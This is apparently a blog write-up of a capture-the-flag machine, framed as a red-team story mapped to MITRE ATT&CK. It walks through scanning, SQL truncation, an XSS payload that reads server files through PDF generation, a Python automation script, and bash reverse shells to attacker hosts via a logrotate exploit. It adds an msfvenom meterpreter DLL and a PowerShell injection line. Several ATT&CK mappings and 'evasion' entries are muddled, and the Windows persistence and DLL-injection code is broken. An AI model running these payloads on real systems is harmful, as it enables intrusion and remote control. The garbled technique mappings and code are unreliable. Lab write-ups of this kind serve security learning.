RedTeam Story #1: XSS, LFI, Logrotate
MITRE ATT&CK Techniques and Tactics
Tactic: Reconnaissance
Technique ID: T1595
Attack Context
Reconnaissance is the phase where the attacker gathers information about the target system. This phase is critical for understanding the system's structure, services, and potential vulnerabilities.
Using nmap
, a network scanning tool, the attacker can identify open ports and services running on the target machine.
root@kali# nmap -p- --min-rate 10000 -oA scans/alltcp 10.10.10.176
root@kali# nmap -p 22,80 -sC -sV -oA scans/tcpscripts 10.10.10.176
Methodology
Initial Scan: Identify all open ports on the target system.
Detailed Scan: Determine the specific services and their versions running on the identified ports.
Evasion Mechanism
- Stealth Scanning: Use rate-limiting or fragmentation techniques to avoid detection by network monitoring systems.
Goal
To gather as much information about the target system's open ports and services to identify potential vulnerabilities.
Exploitation of Website
MITRE ATT&CK Techniques and Tactics
Tactic: Initial Access
Technique ID: T1190
Attack Context
The attacker interacts with the web application to find vulnerabilities that can be exploited for unauthorized access.
- Directory Brute Forcing: Using
gobuster
to find hidden directories and files.
root@kali# gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40 -o scans/gobuster-root-php
Methodology
Directory Enumeration: Identify hidden directories and files that may contain sensitive information or additional functionality.
SQL Injection: Exploit SQL truncation vulnerabilities to gain administrative access to the web application.
Evasion Mechanism
- Input Validation: Ensure proper handling of input to prevent SQL injection and other common web application vulnerabilities.
Goal
To gain unauthorized access to the web application's administrative functionality.
Privilege Escalation and Lateral Movement
MITRE ATT&CK Techniques and Tactics
Tactic: Privilege Escalation
Technique ID: T1055
Attack Context
After gaining initial access, the attacker seeks to elevate their privileges to execute more impactful actions on the target system.
- SQL Truncation Attack: Exploit SQL truncation to create a duplicate administrative account.
POST /register HTTP/1.1
Host: 10.10.10.176
Content-Type: application/x-www-form-urlencoded
name=0xdf&email=admin%40book.htb++++++.&password=0xdf
Methodology
Identify Vulnerabilities: Look for weak input validation and improper handling of user inputs in the web application.
Exploit Vulnerability: Use SQL truncation to bypass authentication mechanisms and gain administrative privileges.
Evasion Mechanism
- Sanitize Inputs: Implement proper input validation to prevent SQL truncation and injection attacks.
Goal
To escalate privileges from a regular user to an administrator within the web application.
Post-Exploitation
MITRE ATT&CK Techniques and Tactics
Tactic: Collection
Technique ID: T1114
Attack Context
Once administrative access is obtained, the attacker focuses on collecting sensitive information and further exploring the target system.
- XSS for File Read: Exploit Cross-Site Scripting (XSS) vulnerabilities to read sensitive files on the server.
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
Methodology
Inject XSS Payloads: Use XSS to execute JavaScript on the server-side, exploiting the web application's PDF generation functionality.
Extract Sensitive Data: Use XSS to read files like
/etc/passwd
and other sensitive configuration files.
Evasion Mechanism
- Input Sanitization: Implement proper output encoding and input validation to prevent XSS attacks.
Goal
To read sensitive files and extract valuable information such as system configurations and user credentials.
Automation and Scripting
MITRE ATT&CK Techniques and Tactics
Tactic: Execution
Technique ID: T1059
Attack Context
Automating the exploitation and data extraction process using custom scripts enhances the efficiency and repeatability of the attack.
#!/usr/bin/python3
import requests
from cmd import Cmd
from tika import parser
class Terminal(Cmd):
prompt = "book> "
base_url = "http://10.10.10.176"
def __init__(self):
super().__init__()
self.user_sess = self.create_session("0xdf@book.htb", "0xdf")
self.admin_sess = self.create_session("admin@book.htb ", "0xdf")
def create_session(self, email, password):
session = requests.session()
session.post(f'{self.base_url}/index.php', data=f"name=0xdf&email={email}&password={password}",
headers={'Content-Type': 'application/x-www-form-urlencoded'})
return session
def default(self, args):
files = {'Upload': ('file.pdf', 'dummy data', 'application/pdf')}
values = {'title': f'<script>x=new XMLHttpRequest;x.onload=function(){{document.write(this.responseText)}};x.open("GET","file://{args}");x.send();</script>',
'author': '0xdf', 'Upload': 'Upload'}
self.user_sess.post(f'{self.base_url}/collections.php', files=files, data=values)
resp = self.admin_sess.get(f'{self.base_url}/admin/collections.php?type=collections')
pdf = parser.from_buffer(resp.content)
print(pdf['content'].strip())
term = Terminal()
term.cmdloop()
Methodology
Session Management: Automate the creation and management of user and admin sessions.
Automated Payload Injection: Automate the injection of XSS payloads and reading of sensitive files.
Evasion Mechanism
- Code Reviews: Regularly review and audit scripts and automated tools for potential security flaws.
Goal
To efficiently automate the exploitation process and extract sensitive data from the target system.
Persistence
MITRE ATT&CK Techniques and Tactics Sorted by Tactics
Tactic: Persistence
Techniques ID: T1053 (Scheduled Task/Job), T1053.005 (Scheduled Task)
Attack Context
Goal: Maintain access to a compromised system across reboots and user sessions.
Methodology: Create a scheduled task that runs a malicious script at system startup.
# Create a malicious script that will execute a reverse shell
echo 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1' > /tmp/reverse_shell.sh
# Make the script executable
chmod +x /tmp/reverse_shell.sh
# Create a scheduled task to run the script at system startup
schtasks /create /sc onstart /tn "PersistentShell" /tr "C:\path\to\reverse_shell.sh"
Scripting
MITRE ATT&CK Technique:
ID: T1059.004 (Scripting)
Context: Compiling an exploit source code using GCC.
Methodology: Leveraging GCC to compile a C-based exploit.
Evasion Mechanism: Using
/dev/shm
for temporary storage to avoid detection.Goal: Prepare the exploit for execution.
Creating and Testing a Bash Reverse Shell
echo 0xdf >> /home/reader/backups/access.log; ./logrotten /home/reader/backups/access.log rev_shell.sh
MITRE ATT&CK Technique:
ID: T1059.003 (Command and Scripting Interpreter: Unix Shell)
Context: Inserting a payload into a log file and executing the exploit.
Methodology: Combining payload injection with the execution of a compiled exploit.
Evasion Mechanism: Writing to log files to avoid suspicion.
Goal: Execute a reverse shell to gain remote access.
Verifying the Reverse Shell
reader@book:/dev/shm$ ls -l /etc/bash_completion.d/
reader@book:/dev/shm$ cat /etc/bash_completion.d/access.log
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
MITRE ATT&CK Technique:
ID: T1105 (Ingress Tool Transfer)
Context: Verifying the placement of the reverse shell script.
Methodology: Listing directory contents to confirm the presence of the script.
Evasion Mechanism: Using a common directory for hiding the payload.
Goal: Ensure the payload is correctly positioned for execution.
Establishing a Reverse Shell Connection
root@kali# nc -lnvp 443
MITRE ATT&CK Technique:
ID: T1071.001 (Application Layer Protocol: Web Protocols)
Context: Setting up a Netcat listener to receive the reverse shell.
Methodology: Using Netcat for listening on a specified port.
Evasion Mechanism: Using a common network utility (Netcat) for communication.
Goal: Obtain remote access as root.
Analyzing Root Crontab and Persistence Mechanisms
Reviewing Crontab
root@book:~# crontab -l
MITRE ATT&CK Technique:
ID: T1053.003 (Scheduled Task/Job: Cron)
Context: Inspecting scheduled tasks for automated actions.
Methodology: Listing crontab entries to understand persistence mechanisms.
Evasion Mechanism: Utilizing legitimate scheduled tasks.
Goal: Identify automation scripts and understand their impact.
Root Reset Script
#!/bin/sh
while true
do
/root/log.sh && sleep 5
if [ -d /home/reader/backups2 ];then
sleep 5 && \
rm -rf /home/reader/backups && \
mv /home/reader/backups2 /home/reader/backups && \
echo '192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"' > /home/reader/backups/access.log && \
chown -R reader:reader /home/reader/backups && \
rm /home/reader/backups/access.log.*
fi
done
MITRE ATT&CK Technique:
ID: T1053.005 (Scheduled Task/Job: At)
Context: Analyzing the root reset script that runs in an infinite loop.
Methodology: Reviewing the script to understand its purpose and functionality.
Evasion Mechanism: Continuous execution to maintain persistence.
Goal: Maintain system state and clean up evidence.
Log Rotation Configuration
/usr/sbin/logrotate -f /root/log.cfg
/home/reader/backups/access.log {
daily
rotate 12
missingok
notifempty
size 1k
create
}
MITRE ATT&CK Technique:
ID: T1070.003 (Indicator Removal: Clear Logs)
Context: Using
logrotate
to manage and clean up logs.Methodology: Automating log rotation to manage file sizes and clear old logs.
Evasion Mechanism: Removing logs to avoid detection.
Goal: Maintain system performance and conceal malicious activity.
Automated Root Login Script
#!/usr/bin/expect -f
spawn ssh -i .ssh/id_rsa localhost
expect eof
exit
MITRE ATT&CK Technique:
ID: T1059.007 (Command and Scripting Interpreter: Expect)
Context: Automating root login using an
expect
script.Methodology: Using
expect
to script interactions with SSH.Evasion Mechanism: Running automated tasks to reduce manual intervention.
Goal: Ensure periodic root access for maintenance or further exploitation.
Database Cleanup Script
#!/bin/sh
mysql book -e "delete from users where email='admin@book.htb' and password<>'Sup3r_S3cur3_P455';"
mysql book -e "delete from collections where email!='egotisticalSW_was_here@book.htb';"
MITRE ATT&CK Technique:
ID: T1070.007 (Indicator Removal: Network Share Connection Removal)
Context: Removing unauthorized users and collections from the database.
Methodology: Executing SQL commands to clean up the database.
Evasion Mechanism: Periodically removing evidence of unauthorized access.
Goal: Maintain database integrity and remove traces of malicious activity.
Privilege Escalation
MITRE ATT&CK Techniques and Tactics Sorted by Tactics
Tactic: Privilege Escalation
Techniques ID: T1055 (Process Injection), T1055.001 (Dynamic-link Library Injection)
Attack Context
Goal: Gain higher privileges on the compromised system.
Methodology: Inject a malicious DLL into a process running with higher privileges.
# Compile a malicious DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll > malicious.dll
# Inject the DLL into a target process (e.g., explorer.exe) using PowerShell
powershell -c "$bytes = [System.IO.File]::ReadAllBytes('C:\path\to\malicious.dll'); $handle = (Get-Process explorer).Handle; [System.Runtime.InteropServices.Marshal]::WriteIntPtr([System.IntPtr]::Add([System.IntPtr]::Zero, $handle), 0, [System.IntPtr]::Zero);"
Explanation
Persistence:
Script Creation: A reverse shell script is created to connect back to the attacker's IP.
Script Permissions: The script is made executable.
Scheduled Task: A Windows scheduled task is created to execute the reverse shell script on system startup, ensuring persistence.
Privilege Escalation:
DLL Creation: A malicious DLL containing a reverse shell payload is created using Metasploit's
msfvenom
.DLL Injection: The DLL is injected into a process with higher privileges (e.g.,
explorer.exe
) using PowerShell, enabling the attacker to gain higher privileges.
Resources
Subscribe to my newsletter
Read articles from Reza Rashidi directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by